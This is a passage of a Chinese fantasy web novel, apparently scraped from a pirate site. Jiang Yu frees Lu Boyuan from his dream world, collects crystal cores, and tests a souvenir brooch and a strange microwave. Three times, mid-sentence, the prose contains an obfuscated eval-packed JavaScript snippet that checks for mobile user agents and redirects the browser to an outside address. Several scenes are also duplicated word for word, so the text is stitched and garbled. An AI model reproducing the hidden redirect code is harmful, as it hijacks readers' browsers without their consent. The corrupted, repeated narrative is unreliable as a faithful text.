“好吧，那该怎么称呼你？”姜渔有些无奈。 小许冷冷开口：“不必称呼我，我跟你没有话好说。” 说罢，小许瞥了小陆一眼，说：“为什么要把我藏在那种地方？” 小陆在姐姐面前怯怯的，说：“我觉得会有危险。” 小许嗤笑：“你觉得你能保护我？” 小陆默然。 小许正视前方：“你差得远呢，能保护好自己再说吧。” 这豆丁小陆也太惨了。姜渔心想，虽然在上一次历险中，自己也时不时地欺负一下他，但都是善意的。而小许的话却是带刺的，格外扎心。 姜渔只好去问陆伯原：“喂，陆伯原，别在那边装深沉了。一会听我命令。” 陆伯原转过头，疑惑问：“你是？” “总之听我的，我带你和你姐姐走。还有这俩小孩一起。”姜渔拍了拍胸脯，说：“使命必达。” 陆伯原听完后一脸震惊。 谁啊她。 陆伯原还是一脑袋问号，但姜渔的话确实戳中了他的命脉，他忍不住问：“去哪？” “好地方。”姜渔说，“你家。草原，教堂，小平房。对不对？记不记得起来？” 哦，对。 我要回家，带姐姐回家。 陆伯原心中的一根弦瞬间被连上了，他看向姜渔的目光立即多了几分尊敬，觉得这个女人真是深不可测的，语气连带着和善许多：“请问你是谁？” “姜渔。” “姜小姐，你有什么计划？” “时候到了，我自然会说。” 姜渔对陆伯原这次的反应很满意，又看向小许，收获了一个白眼和一句“装神弄鬼”后，她识相地选择了沉默。 这小孩，浑身带刺。小小年纪，持枪杀人，真不知道陆伯原的姐姐在现实里到底是怎样一个法外狂徒，以后见到务必要小心点。 想到现实…… 还有两个人的身份蛮有意思的。 姜渔回身，看向无所事事的万事通与药罐子两 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多打听一点消息，以后出去以备不时之需，可以用来要挟…… “你的回答太敷衍了。”万事通面色不善，“凭什么再和你做交易？” 姜渔凑上前，语气诚恳：“我会告诉你一个绝对值回两个问题的答案。如果你觉得不值，我当场自尽。” 不是吧，话说这么绝对？万事通有些疑虑地打量了姜渔两眼。 或许是因为自信自己也有结果对面这个女人的实力，万事通还是凑到姜渔耳前轻声说：“我喜欢洗澡时电击自己。” 姜渔：…… 怎么一股好强的抖M气息。 她机械地看向一旁不知所谓的陆伯原，眼神在两人之间转来转去，这是在陆的幻境沼泽里，证明陆伯原知道并且相信这件事。——莫非这俩人之间也有什么故事？ “说你的秘密。”万事通淡淡开口，“如果我觉得不值，我会当场杀了你。” “好。”姜渔按捺下八卦的心情回答，“你在别人的幻境沼泽里。你可以试着证实一下。” 万事通愕然。 随即，他周身现出一些电光，似乎正在用自己的方式证实。而伴随着他的动作，他的身体开始逐渐消解，看来真的接受了这个事实。 万事通的脸上充满了愤恨：“你到底是谁？你怎么能知道这种事情？难道你可以自由出入幻境沼泽里？该死？你认不认识现实中的我？你最好不要找到现实的我，不要告诉别人我的秘密……不然，不然我一定会杀了你！” 万事通说完遗言，水灵灵地消失了。 他还是那么喜欢威胁别人。姜渔撇撇嘴，不过，这一次的威胁，更像是害怕。 也是，这么变态的秘密，我一定会替你好好保管的。 姜渔一挑眉，目光投向药罐子。 药罐子眼神充满惊恐，他可是眼睁睁看着这个女人把自己身边的哥们儿给聊消失了，于是连连摆手：“我不知道什么幻境沼泽啊，我不想和你做交易啊，我活着已经很艰难了。” 看来只是万事通身上有诸多特殊之处，至少在陆伯原心中，他认为对方拥有在他人幻境沼泽中恢复主体意识的能力。 姜渔还想开口，熟悉的王老师与许江竹陆续进来了。 依照“惯例”，王老师做了一通自我介绍后，开始分发食物，过程中，再次击杀了两名有所异议的同学，最后宣布了规则：　“30分钟内吃完分发到你们面前的食物。作为监考老师，考试时间结束时，如果让我看到谁没有吃完，就会由许江竹同学送别。” 考试开始，王老师怡然自得地走到了姜渔身边时。 姜渔起身，挥起手术刀，以迅雷不及掩耳之势割破了王老师的喉咙！ 全场肃然，所有人的目光盯向浑身浴血的少女。 姜渔擦了擦血，面色不改：“下一场考试，我赶时间。” 20. 远国幼儿园（十一） 操场上，学生三三两两地站着，比上一次考试要多出了不少。 许多人看向姜渔的目光中都带着探寻和……害怕？ 方才，姜渔斩杀王老师后，园长进来宣布，大家已经顺利通过第一场考试。 园长的话，侧面印证了姜渔的行事之果断，与她对自己判断的绝对自信。 这让姜渔彻底坐实了某种大魔王的意象，以至于所有人都离她远远的。 姜渔倒是对这些目光浑不在意，她现在唯一的任务就是：带着陆伯原一行人回家，重塑他的精神锚点。 “我对这座幼儿园很感兴趣。”小许站在姜渔身边目视前方。 她脸上挂着甜甜的微笑，歪头对着姜渔眨了下眼：“既然你看上去很有把握的样子，我不介意跟着你。姜渔姐姐。” 姜渔回话丝毫不留情面：“小许啊小许，你变脸倒是变得挺快的。”看来要收服这个小妹妹也不是不可能，只是得拼命拿实力说话。 “你在找我，对吧？不然为什么把我从棺材里叫醒？”小许也不介意姜渔的态度，她笑眯眯地说：“既然你有求于我，我现在又认为你对我有些帮助，那我们就是伙伴。我对伙伴总是很好的。” 姜渔不置可否：“姐姐持保留意见哦。”以她以往看动漫的经验，笑得越甜的角色往往最危险。 姜渔可没准备帮小许通过考试，她是要带这姑娘回“家”的。 小陆在旁小声插嘴：“这座幼儿园这么危险，你怎么会对它有兴趣？” “我和你不一样。”小许斜眼看了小陆一眼：“你只会逃，所以看什么都觉得危险。” 小陆好不容易鼓起的勇气，再一次倾泻一空。像没了气的气球，垂眉耷眼的。 “他说得对，这里不是你们这种孩子该呆的地方。”许江竹也在旁开口劝说。 之前，姜渔走出教室时，路过许江竹。 她只用一句不容拒绝的“我带你赢”，便拉上了许江竹一起。 彼时，许江竹贵为“师姐”，面对一副大姐大气势的姜渔，沮丧地发现自己完全没想到拒绝的理由。 因为她同样害怕这座幼儿园。她自然会选择看上去成竹在胸的姜渔。 眼下，小许并没有领许江竹的情，而是面露鄙夷之色：“你用着和我一样的名字，还拿着我的枪，却这么胆小，还是老实闭嘴吧——除非你把我的枪还给我。” 她刚刚看到许江竹持枪射人时，就愤恨十足地想要扑上去抢枪了。 许江竹听了连连摇头，心里已经欲哭无泪：怎么这一期的新生都这么难惹啊？ 而成年陆伯原依然一言不发，姜渔已经懒得理他。 这一次，她的目光更多地停留在小许身上。 小许和成年后的许江竹不一样，她的聪明和野心都不加掩饰，并且对陆伯原也是忍不住的鄙夷？ 到底哪个才是真正的许江竹，或许，这就是破局的关键。 姜渔最后看向了小陆，他胖胖的手在兜里掏啊掏，掏出一块糖，递给小许，“姐姐，吃糖。” 小许傲娇地瞥了他一眼，别过头，一会儿又用手把糖拿走了。 姜渔：……好一对傲娇姐姐和姐控弟弟。 此时，众人前方，身穿棕色西服的校长终于宣布了考试内容：“……捉迷藏，限时三个小时，不被发现，就算通过考试。这就是所有的规则了。” 园长说完后，语气和蔼地再次搬出他的那一套陷阱—— “孩子们，现在有什么问题，尽管提。” “我们走吧。”姜渔不再听了，转身拉着小陆向剩余三人说。 她带头离开，直奔教学楼内，又从后门来到后院。 草地上，姜渔开始帮助小陆与小许两个小孩攀爬栅栏。 许江竹看见这番动作，眼睛一亮：“对！刚刚园长已经说那是全部规则，可没说……” “对对对，你说得都对。快爬。”虽然当初这条线索是许江竹发现的，但此时此刻，姜渔已没耐心再听一遍许江竹的分析。 陆伯原向后瞄了一眼：“如果幼儿园外才是安全的话，那藏在幼儿园内是不是代表了必输无疑？原来如此……那面旗帜上有眼睛！是代表幼儿园里所有画着眼睛的图案都是园长……” 姜渔在旁吭哧吭哧帮小孩翻栏杆，听他说话听得直来气，空出手敲了陆伯原后脑袋一下，冷声怒斥：“你他大爷的有完没完了？我说没说快点爬？” 这条线索也是人家许江竹发现的，你现在来什么劲。 陆伯原分析得正入神，忽然被敲得一愣。 他皱眉冷眼，正迎上姜渔的森森眼神，一瞬间，气势没来由地软了下来：“不好意思啊，给您添麻烦了。” 陆伯原心里有一种被血脉压制的感觉，就好像上辈子他就要听姜渔的话一样…… 他只好利利索索爬过去栏杆。 一行五人，终于来到在幼儿园外。 姜渔带头向下跑去。远处的城市开始显现出异象，那些万分诡异的眼睛再次出现了。 尾随姜渔等人的药罐子，在教学楼的后院现身。 他本想抱上姜渔的大腿，但看见这一幕后，彻底傻眼了。 他烦恼地挠挠头，向后走去，低声说了句：“算了，我还是在里面谋条生路吧……” …… 众人奔跑在缓坡的绿荫公园中，姜渔一边跑一边急促下令：“听好计划，我们先到一家厨具店，挑最长的砍肉刀，最好再多备上两把。小陆小许你们不用，挑能拿得动的刀就可以。” 小陆重重点头：“放心吧，我力气大得很！什么刀都拿得动！” 可拉倒吧你。 姜渔正在腹诽，听到小许不忿开口：“我力气有限，不知道为什么，我觉得我被束缚住了。” 姜渔看了小许一眼，若有所思地问：“指什么？” “就是不对劲。”小许狂奔时也脸不红气不喘，气息平稳：“不该是这样的，好像冥冥中有人在拖我后腿。” 小许虽然年纪小，但凭借狂狂的语气，也算在几人心里有了一定的地位。 此话一出，所有人都看了眼小陆。 小陆唉声叹气一下，小大人一样。 这对姐弟，到底有什么古怪？ 小陆已经见到了小许，精神状态却没有丝毫好转。 看来在小许身上，依然存在被幻境沼泽异化的地方…… 成年的许江竹，性格在幻境中被异化成了怯弱胆小的样子，但保留了聪明的特点。 小许则极度猖狂，刻薄，冷血，果决。而关于聪明的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233213|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部分，变成了更立体的圆滑与心计上。 如果小许还存在被异化的地方，那么有没有可能在于小许口中的“力气”？也就是“实力”？ 莫非，小许在现实世界中拥有很强的实力？ 可是，这种东西又要如何重构？ 把她丢到院长面前让两人打一架，逼迫出她的原本实力？令陆伯原恢复神智？这计划未免太过冒险，要知道如果小许也死了，那陆伯原的精神可能就被彻底摧毁了。 ……思来想去，还是前往他们的家更实在一些。 思绪纷飞中，姜渔已经来到了上一次许江竹打破的厨具店前。 她率头冲进店内，十分效率地挑选了熟悉的长刀，剩余三人也将厨具店的刀具处扫荡一空。 众人浩浩荡荡出门，正迎着玻璃幕墙上的眼睛睫毛蔓延出来的黑色小手。 黑云压城，气氛越来越压抑。 “这是什么东西？”陆伯原愕然。 “砍它。一边砍一边逃去地铁的隧道里。”姜渔第二次经历这些，已经很淡定了，一边跑向地铁一边回答，“这东西盯着人的影子抓。” “那隧道里也会有这些东西。”小许紧紧跟在姜渔的腿边，打定主意让姜渔顶上，自己没打算出一分力，她眉峰微微扬起，补充说：“那里有广告灯牌。” 这姑娘的脑子，要远比成年的许江竹转得快。 姜渔心里暗自记下。 她可以肯定，这些幻体并没有上一次的记忆，不然他们也不会一直被困无法破局。 但小许能猜中灯牌的事，也是有原因的。 因为这本就是陆伯原的幻境沼泽。这里面的所有人，无论是幻境主体，普通幻体，亦或是幻境主体的精神锚点，只要陆伯原愿意，他们可以知道任何信息。 “那些就要靠我们自己解决了。”姜渔砍断一只小手，不容置疑地说，步伐坚定且迅速。 但小许的话，其实是让她非常在意的。 确实如此—— 当时，小陆蜷缩在墙体边的阴影中时，黑色小手就像失去了目标一样。 自己因此结合了众人藏在卫生间内成功躲避园长的情况，推断出，眼睛是在注视着几人的阴影。 可是在地铁中时，那些广告灯牌其实掠过得很快，很难照出几人的影子。 为什么还是会有黑色小手袭来？ “先进去！” 姜渔冲进了之前的地铁口，她招呼着众人，跃下阶梯。 当她正想依照之前的行动路线，去集合丁素小队时，却听到了“叮”的一声。 她回过头，刀掉到了地上。 可是，我明明抓得很死才对…… 姜渔纳闷地看向自己的右手，瞬间愣住了。 她的右腕处，变成了一个光滑的切面，右手已经完全不见。在光滑的切面处，既没有喷洒鲜血，也没有露出血管与骨骼，而是正在渗出丝丝缕缕的黑气。 我这是在……分解？ 姜渔第一时间冒出这个想法。 她的心沉了下去，回头看去，所有人都在惊讶地看着她的异况。 姜渔的目光落到了小陆的身上—— 一定是因为困在他的幻境沼泽中太久了…… 我已经没有时间了！ 21. 醒来 姜渔跳下去的那一刻，四周包裹着洁白的浓云。 失重感并没有维持太长时间，万米高空只是陆伯原心中的一个意象，当他清醒时，高空的“危险”已经荡然无存。 姜渔轻轻摔到了柔软的草地中。 她起身，环顾四周，草原辽阔，田野丰收，牛羊成群。视野中没有一栋高楼。 姜渔看到陆伯原正站在眼熟的一间平房前，安静地看着她。 陆伯原开口问：“当我打开这扇门后，我就会在现实世界中醒过来。你呢？” 姜渔感到脚下传来的脚感比较复杂。既有土地的肥沃，也有木质地板的坚硬。 她有一种感觉，自己正在1301室的边缘。 无论向哪个方向走去，只要自己想要回去，就会出现1301室属于纪小麦的次卧门。 姜渔直视他的双眼，淡淡道：“不必担心，我有自己的办法。” “那你……什么时候离开？”陆伯原脸色复杂，要知道有一个人如果一直活在自己的幻境中，随意获取自己的隐私，还真是够要命的。 在姜渔的凝视下，陆伯原有一种柔弱小白兔的感觉。 “不着急。”姜渔慢悠悠地说。 陆伯原的眼神更破碎了。这个女人到底要在我的梦境里干什么？ 他斟酌着措辞开口：“这里也没什么好待的吧……” “我有一些问题问你。”姜渔没绕弯子，“问完你，我就会走。” “……虽然救命之恩在前，我理应知无不答。”陆伯原小心翼翼地回答，他已经了解姜渔的行事风格，生怕惹到这位祖宗，“可有些答案，恐怕会关系到我妹的安危。所以我不仅不会回答你的问题，也希望你能为我的这些记忆保密。” 姜渔立即生出一种索然无味的意味。 这个人，真是既没有“成年陆伯原”好说话，又没有“豆丁小陆伯原”懂事。 姜渔意兴阑珊地摆摆手：“那就算了。那你醒来后，有什么打算？” “我会回去，找到她。”陆伯原早已有所打算，他释怀地笑了，“你也看到了，一直以来，我都困在这个想带她走的幻境中。但人怎么可能带一个本就决定留下的人离开呢？” “这种不可能做到的事情，困扰了我很久。” “如今，我总算明白了她骂我的话。”陆伯原望向天上漂泊的巨城，“我想给她的照顾，太过一厢情愿，总是认为自己只要拼尽全力就够了，却忽略了她想要什么。” “她想要的东西可不容易得到。”姜渔不置可否。 “不错。这正是我如今存在的意义。”陆伯原点点头，目光中只剩坚定，“我不必再想着带她走了，事实上，我们过去的家早就已经毁掉了。反而，她却一直在构筑着我们的新家。只不过，那个新家需要很多东西。” “我不会再逃了，也没办法再逃。” 陆伯原打开了门，回看姜渔：“如果她想要的家是一间平房，我翻遍千山万水也会带她回去，做她喜欢吃的杂粮饭。如果她想要的家是商业帝国里的那座皇宫，我就除掉所有的敌人，在王座前为她加冕。两者并没有什么不同。” “但你救了我的命，我不能一点表示没有。”陆伯原微微低头，眼中的歉意倒是十分真诚，“虽说你有这样的能力，在现实中一定很有地位，恐怕是许明生都非常尊重的人。但你若有用得上我的地方，我必将全力以赴。” 倒也没有啦…… 姜渔被陆伯原抬咖抬得一愣一愣的。 看来这厮还是忘记了上一次自己对他的自我介绍。 那时候本来向他解释过，自己也是被丁素等人救下的…… 什么大人物会被这么狼狈地救走啊？ 不过姜渔也想着一切先以保密为主，见面时彼此自然都会明白。 “心领了。”她点点头，嘱咐说：“记得互相保密，希望再见面时不要太尴尬。” “会的，再见。”陆伯原点点头，走进去后，身形瞬间消失了，门缓缓关上。 呼。 姜渔总算彻底放了心。 她向着相反的方向走了几步后，心思流转，1301室的次卧门便出现在了眼前。 她打开门，刚迈出一步，身后的草原景色骤然消失不变，全被纪小麦的房间取代了。 “姜小渔，你总算回来了！” 迎接姜渔的是一个虚空熊抱。 姜渔环顾家徒四壁的客厅，直接瘫倒在地上。 她疲惫地摆出一个“大”字，发出无力的抗议：“太难了，太难了，再也不进去了。暴露秘密不说，又得不到什么好处！啊啊！” “不会！不会！大好处！”纪小麦也坐在地上。 她眼里带着光，掏出自己的手账本，铺开递到姜渔眼前：“刚刚，上面出现了这样一行字！” 姜渔被纪小麦的激动唬住了，好奇地探头去看。 只见手账本上的“收支”一页，多出了一条记录。 “破解幻境沼泽，收获29枚晶核，分别为30期1颗，20期7颗，10期21颗。” …… 差点忘记了。 姜渔冷不丁有些失神。 不久前，她进到1301室时，得知了有29只衍生体尾随自己一行人行程的事情…… 看来，那些括号中的衍生体，就是存在于幻境沼泽中的衍生体。 比如园长，眼睛，黑色小手。甚至那些会吃人的设施。 不过自己并没有击杀所有的衍生体，更何况，那里面的邪祟也根本杀不完。 所以，只有一个可能性。 那就是当自己破解幻境沼泽时，存在于那个幻境沼泽中的衍生体，都会随着幻境沼泽的崩塌而毁灭，从而，记到自己账上—— 就像游戏里的自动拾取一样？ 通关后，自动收集所有道具、宝物、经验。 这倒是像样一些。 不然自己辛辛苦苦去别人的幻境沼泽里打工，到底是为了什么？ “那晶核呢？”姜渔此时十分关注自己的劳动报酬，“我可知道那些黑心公司打款都可慢了。” “已经被我从门外搬到厨房了。”纪小麦嘿然一笑，“我觉得我们之后可以试一下那个微波炉了！” “为什么是之后？”姜渔有些不解。 “太累了吧你，说什么呢。”纪小麦叹了口气，一语点醒梦中人，“你现在不应该去处理一下丁素那边的事情吗？” 姜渔一拍额头。 她太忙了。 从遇见纪小麦，到遇见丁素，再到解救陆伯原。 因为幻境沼泽中的时间流速与现实不一致的缘故，这种种事情加在一起，在现实中也不过是过了一天左右而已。 “我这就去。” 姜渔说罢，闭上眼睛进入冥想。 当再睁开眼时，姜渔还未看清眼前景象，就先被热闹的欢呼声吵到了。 “啊，把你吵醒了，真是抱歉！” 视线中，距离自己最近的唐千苇，惊喜地看过来。 唐千苇连忙挥挥手：“但你醒来得太是时候了！快看！陆伯原也醒了！你同样是第一见证人！你知道这意味着什么嘛？从幻境沼泽里回来啊！天啊！！” “大事件……大事件……”顾礼在狭小车厢里激动无措地踱来踱去个不停。 车已经因为这件“大事件”停下了。 丁素与宋涯此时也在车厢中，一人蹲着一人站立。 总之，此时此刻，所有人都围着姜渔对面那个少年。 姜渔看过去，正好与陆伯原冷清的目光对上。 陆伯原的目光闪过一丝纠结与迷惘。 他在众人七嘴八舌的问话中，他看向姜渔，有些嘶哑地问道：“她是谁？” 姜渔挑了挑眉毛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车窗外的夜景在姜渔眼中流转，佐以车厢热闹的询问与陆伯原无奈的求饶声，她忽然不再觉得自己回到人世，反而有了一种与世隔绝的实感。 她知道自己再也回不到正常人类的生活了。 从此以后，她会遇见很多人，也会被很多人忘记。 不会有人记得她的恩情，她也并不需要那些。 从云市，到主城，她虽然还是那个只顾着和纪小麦拼命偿还房贷的苦哈哈房奴，但一切都已经天翻地覆。 “哦……我想起来了一些东西。”陆伯原的声音再次吸引了所有人的目光。 姜渔看过去。 陆伯原并未与她对视，他眼底的迷惘正逐渐化为坚定。 “你想起来什么了？”顾礼十分关心地忙问。 “我要回去。”陆伯原透过车窗，望向行驶的前方。 “回哪里？” “一间公司。” “不是。”顾礼纳闷：“你还上过班？回公司干啥？” “找一个人。” “谁啊？用我们跟你一起去吗？” 陆伯原摇摇头：“一个麻烦人物，但我自己就可以。” 陆伯原不再说话了。 车摇摇晃晃，他的嘴角挂起微微的弧度。 姜渔有些庆幸，看来自己作为外来者，还真是很难被他回忆起来的。 陆伯原回忆起来的，更多是自己在幻境沼泽中获得的感悟。 姜渔更加放心，头再次倚在了车窗上。 天际忽然泛起一丝白色，姜渔的视线有了落点。 远处，一道高墙横亘在平原之上，绵延不见尽头，联邦的血红旗帜在晨曦中被风吹得高高扬起，似乎永不垂落。 主城到了。 22. 醒来 “这是我在幻境沼泽遇见的比较重要的三个人，他们身上比较具有代表性的东西。” 姜渔看着这三个选项向纪小麦贴心解释说：“黄铜左轮是陆伯原妹妹的武器，在最后决战几乎仍然发挥了重要使命的武器。园长这个boss在幻境沼泽中被异化后，他的嘴其实就是他的武器，既可以吞掉幻体，又能‘生’出学生鬼。陆伯原这个没什么可说的，他小时候爱吃薯片。” “嗯……首先，我觉得薯片文具袋可以排除。”纪小麦率先下了结论。 “为什么？” “前两者听上去有一定的攻击性，也许会对提升你的实力有帮助。实力越强就越安全。”纪小麦一脸严肃，“目前我们并不知道在幻境沼泽中死亡会不会有性命危险，一切还是要以安全为主。” 姜渔觉得很有道理，虽然她侥幸破解了第一个幻境沼泽，但回想起来，幻境中会出现各种各样的异能者，姜渔却只是个没有异能的普通人，她当前最需要的，确实是强化实力。 “还有这上面标注了探索级，探索级是什么意思？” “是陆伯原的实力评级。与咱们普通人不一样，属于强者。”姜渔回答。 “既然如此，那就更有可能对你帮助很大了。毕竟它属于纪念品，听上去就已经跟滞留品不一样了。” “麦麦军师分析得有理！”姜渔在园长之嘴与左轮手枪中视线徘徊一番后，缓缓说：“左轮手枪看上去就是和武器相关，不过最终许江竹还是靠异能打败了园长，这把左轮手枪并没有起到决定性的作用。反而是园长之嘴的攻击力十分强悍，几乎无人可以匹敌。” “嗯，我倾向的也是园长之嘴。”纪小麦点点头，“不过我和你想的不一样。” “麦麦军师意下如何，小的洗耳恭听！”旁观者清，纪小麦没进过幻境沼泽，她的意见对姜渔来说很重要。 纪小麦非常满意姜渔的溜须，夸张地捋了捋并不存在的胡须，她指着小本说：“我是从类型上做的选择。一个是冰箱贴，我们不确定它的特殊作用，是否要贴到冰箱贴上才可以实现，而我们目前没有冰箱。另一个则是胸针，胸针的话，只要有衣服就可以了，甚至包包也可以别上胸针。两者相比，胸针的使用方式更加简单。” 纪小麦的心思果然细腻，姜渔听了不禁点头：“那就园长之嘴。” 达成一致后，纪小麦再次重复了与之前一模一样的举动，打勾，开门，放下，转身关门。 客厅中立即出现了一个小小的胸针。 姜渔捡起来，细细打量：这枚胸针和大拇指差不多大小，背后是亮银金属与亮银别针，质感极好，十分压手。正面则是黑色描边的长长薄唇，与幻境沼泽中一样，上下两排的超多白色牙齿占据了胸针的大部分，两排牙齿中被黑漆画满，仿佛能将人吸入其中。 胸针的别针处，别着一张标签纸，姜渔拿起来，纪小麦也凑过来查看，上面是几排说明： 纪念品名称：园长之嘴。 纪念品类型：胸针。 纪念品使用说明：将胸针与衣服搭配，即视为使用。 纪念品使用效果：使用“园长之嘴”时，使用者说出的话将极其令人信服。此效果每日可以使用“一”次，每次生效时长为“三”分钟。 纪念品副作用：倾听者会在效果消失后，丧失对使用者的信服感，并产生“使用者乐于说教”的负面印象。 纪念品介绍：学生时代，每个人都会听到这样一句话。这句话让人不得不听从，听完又觉得厌恶且空虚。那就是：“同学们，我讲两句啊……” 两个人细细读完了标签纸上的使用说明。 1301室陷入了诡异的沉默。 “……这是什么？完全没攻击性啊。”姜渔呆住了，这与她的初衷根本就是背道相驰。 纪小麦的评价更加气急败坏：“这他爸的不就是爹味演讲吗？！爹味麦克风啊它是！” 纪小麦的话狠狠扎到了姜渔的心上。 但还是有好处的。 总体来讲，这是一个“话聊”神器。 最直观的作用就是诱导对方说出一些秘密，以及指使对方在三分钟做什么事情。 只不过要快刀斩乱麻地快速解决，否则对方三分钟后醒过神来，就很有可能弄巧成拙。 更形象一点，也可以说这是一个“三分钟催眠神器”。但时效一过，对方就会记起他们被催眠时都做了什么…… “有总比没有好。”姜渔将胸针揣到兜里，不再纠结于此，“现在，我们试试微波炉？” “试！”纪小麦重重点头。 两个人将一堆晶核双手抱到厨房台板上，姜渔按开微波炉的门，纪小麦立即递过来一颗小小的10期晶核，姜渔接过后，看到纪小麦重重点头后，果断将其放了进去。 “加热。”姜渔点击了这唯一的功能按钮。 微波炉内亮起绿油油的幽光，响起血肉摩擦的闷闷蠕动声。 一分钟后，微波炉响起了“咚”的一声，绿光暗灭。 小小的房间里，只剩下两个女生微微急促的紧张呼吸声。 姜渔缓缓伸出手，将微波炉按开，随着门的弹开，两个人的视线立即聚焦其中！ 然而，里面只有一些碎掉的晶核残渣。 “这什么微波炉啊？火力也太大了吧！”纪小麦心疼地拿出晶核残渣，拼来拼去，但很显然是无法复原了。 纪小麦有些气馁：“还试吗？” “试！”姜渔咬咬牙，“不然我们抱这么多过来干什么？” 纪小麦有些心虚：“反正我想的是每一颗都可以变成稀有晶核。” “……”姜渔拿起一颗再次放进去，不忘点评：“那你确实有点过分了。” 闷闷的蠕动声再次响起。 一分钟后，打开门，又是一堆食物残渣。 “要不算了吧。你也很辛苦的。”纪小麦伸手按住了姜渔又拿起晶核的手。 姜渔沉默了一会，说：“最后一颗！” “好！”纪小麦看着姜渔坚定的目光，点点头，她双手合十，眼睛闭上，语气虔诚：“海猫神啊海猫神……” 祈祷声中，微波炉又一次运转，伴随着“咚”的结束声，姜渔打开了微波炉。 这一次，两个人都愣住了。 之前放进去的10期晶核，竟赫然变成了与30期晶核相同的大小！ 纪小麦吞了口口水：“30期晶核……” 姜渔掰着手指回忆：“10期是20晶素，30期是100晶素……” 两人看向彼此，异口同声：“赚了70晶素！” 顿时，两个女生看向微波炉的目光都变了，经历了“这房子贷给你真是白瞎了！”与“品味实在令人堪忧”的冷嘲热讽后，她们的目光变得格外炙热，格外欣慰，变得热泪盈眶—— 所有人都不看好你，偏偏你最争气！ 小小的屋子里，萌生出一种孩子逆袭的自豪感。 “还试吗？”纪小麦眼光热切。 “算了。我们只要证明它不是一无是处就好了。”姜渔摇头。“现在还是以挣晶素为主，等富裕了，再拿它搏一搏。” “好！”纪小麦满意地拍了拍微波炉，“以后好好工作！” “应该没什么事了。”姜渔扫视了一圈屋内，向纪小麦有些歉意地说：“我可能要先回去了。” “……对，你那边还有事情要处理呢。”纪小麦如梦初醒，她伸了个懒腰，打着哈欠：“你快去吧，我也要休息了。” “好，照顾好自己。” 姜渔点点头，闭上眼睛进入冥想。 当再睁开眼时，姜渔还未看清眼前景象，就先被热闹的欢呼声吵到了。 “啊，把你吵醒了，真是抱歉！” 视线中，距离自己最近的唐千苇，惊喜地看过来。 唐千苇连忙挥挥手：“但你醒来得太是时候了！快看！陆伯原也醒了！你知道这意味着什么嘛？从幻境沼泽里回来啊！天啊！！” “大事件……大事件……”顾礼在狭小车厢里激动无措地踱来踱去个不停。 车已经因为这件“大事件”停下了。 丁素与宋涯此时也在车厢中，一人蹲着一人站立。 总之，此时此刻，所有人都围着姜渔对面那个少年。 姜渔看过去，正好与陆伯原冷清的目光对上。 陆伯原的目光闪过一丝纠结与迷惘。 好像有股熟悉的感觉，大脑有一瞬间的宕机，眼前的女人彻底变得陌生。 他在众人七嘴八舌的问话中，他盯着姜渔，有些嘶哑地问道：“她是谁？” 姜渔挑了挑眉毛。 ……太好了，这状态还真不像装的。 姜渔平静回答：“姜渔。” “……是新队友吗？”陆伯原被这个陌生女人与他人格格不入的平静表现搞得有些懵，心想就算是新队友未免也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268192|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点不近人情了吧，他不自信地问：“我到底陷入幻境沼泽多久了？” “不是。”姜渔摇头。 “没多久。”丁素深深看了眼姜渔，离开车厢去开车了。 因为插入了关于姜渔的话题，几个人的接连提问也被打断了。 顾礼找到机会忙说：“直接回答重点！你是怎么从幻境沼泽里回来的？” “我恐怕得慢慢想，我似乎在里面过了很久很久，甚至过了好几辈子的样子。”陆伯原的头有些疼，眼神迷茫，“我总在里面找寻着什么东西。一边逃，一边找，一边逃，一边找。” “找什么？找什么？”顾礼急得很，“找是对的！你是探索级，探索就是你的命运！” 姜渔看着痛苦的陆伯原，忍不住出声提示：“是不是在找家？” “家？好像是……好像是！”陆伯原愣住。 一些回忆的碎片涌入他的脑海。 教堂，考试，破碎的街道，天空的巨眼，模糊的面庞与模糊的身影，深不见头的隧道……以及，一道莫名让人感到安心的背影…… 陆伯原觉得头更疼了。 他不禁揉着太阳穴问对方：“你怎么会猜到是家的？” 她倚着车窗，看向朦胧的夜景，若无其事地说：“在一些人眼中，家就是最安全的地方。仅此而已。” “是吗？”陆伯原眼中的迷惘更多了。 姜渔不再关心他了，回忆起来所有事情对她也没什么益处。 活着就行，回来就好，另外晶核到账了最棒。她很知足。 她看到车外的景色说是夜景，其实天色已经泛蓝，已经到了黎明时分。丁素已经开了很久。 车内，丁素已然坐上了驾驶座，她敲了敲车厢的窗户。 “再休息一会吧，主城就要到了。” 掠夺者再度发出低沉的轰鸣，这辆钢铁野兽重新行驶起来。 车窗外的夜景在姜渔眼中流转，佐以车厢热闹的询问与陆伯原无奈的求饶声，她忽然不再觉得自己回到人世，反而有了一种与世隔绝的实感。 她知道自己再也回不到正常人类的生活了。 从此以后，她会遇见很多人，也会被很多人忘记。 不会有人记得她的恩情，她也并不需要那些。 从云市，到主城，她虽然还是那个只顾着和纪小麦拼命偿还房贷的苦哈哈房奴，但一切都已经天翻地覆。 